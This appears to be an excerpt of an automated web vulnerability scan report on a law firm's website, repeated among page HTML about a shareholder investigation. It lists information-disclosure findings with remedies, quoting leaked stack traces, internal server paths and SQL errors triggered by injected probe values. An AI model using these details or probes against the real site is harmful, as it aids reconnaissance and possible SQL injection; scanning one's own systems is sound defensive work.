</div> <div class="column_rt"> <img src="" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="102" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p> Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (“CKx” or the “Company”) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br /> The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share. <br /> CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11"> 70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br /> </blockquote>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Line 2: Incorrect syntax near '0'. at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1 at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218 at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580 at railo.runtime.tag.Query.doEndTag(Query.java:434):434 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359 at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738 at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572 at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500 at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760 at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705 at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221 at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662 at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72 at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65 at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc:169):169 at framework.base.baseobject_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at rail..
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td> <td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td> </tr>
<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />
<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11"> 70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set("MainContentArea", MainContentArea);<br><br /> </blockquote>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1 at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1 at railo.runtime.type.QueryImpl.<init>(QueryImpl.java:218):218 at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580 at railo.runtime.tag.Query.doEndTag(Query.java:434):434 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359 at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738 at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438 at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368 at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572 at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500 at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774 at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453 at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196 at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394 at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352 at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760 at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705 at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179 at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221 at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662 at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72 at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65 at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\b..
Netsparker found e-mail addresses on the web site.
Impact
E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .
Remedy
Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.
</div> <div class="column_rt"> <img src="" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="102" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p> Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (“CKx” or the “Company”) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br /> The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share. <br /> CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
</div> <div class="column_rt"> <img src="" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="102" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p> Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (“CKx” or the “Company”) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br /> The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share. <br /> CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.
Remedy
First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.
Error messages should be disabled.
Remove this kind of sensitive data from the output.
</div> <div class="column_rt"> <img src="" height="132px" width="226px" alt="" /> <p class="item_name">Case Updates via RSS:</p> <span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span> <p class="item_name">Case Updates via Email </p> <form id="update" method="post" action="/case-form.cfm"> <input type="hidden" name="CaseID" value="102" /> <input type="text" tabindex="1" name="email" id="email"/> <input type="submit" tabindex="2" value="" id="go"/> </form> </div> <div class="clr"></div> </div> <div class="clr"></div> <div class="wysiwyg"><p><p> Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (“CKx” or the “Company”) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br /> The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share. <br /> CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>
<tr> <td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td> <td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>variable [THISPRINTURL] doesn't exist at railo.runtime.type.scope.UndefinedImpl.get(UndefinedImpl.java:256):256 at applications.pomlaw.layout.page.default_real_cfm360$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default-real.cfm:71):71 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717 at applications.pomlaw.layout.page.default_cfm$cf.call(C:\data\cweb03\LightBase2\applications\pomlaw\layout\page\default.cfm:6):6 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:764):764 at railo.runtime.PageContextImpl.doInclude(PageContextImpl.java:717):717 at framework.view.render_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\view\Render.cfc:19):19 at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226 at railo.runtime.type.UDFImpl._call(UDFImpl.java:..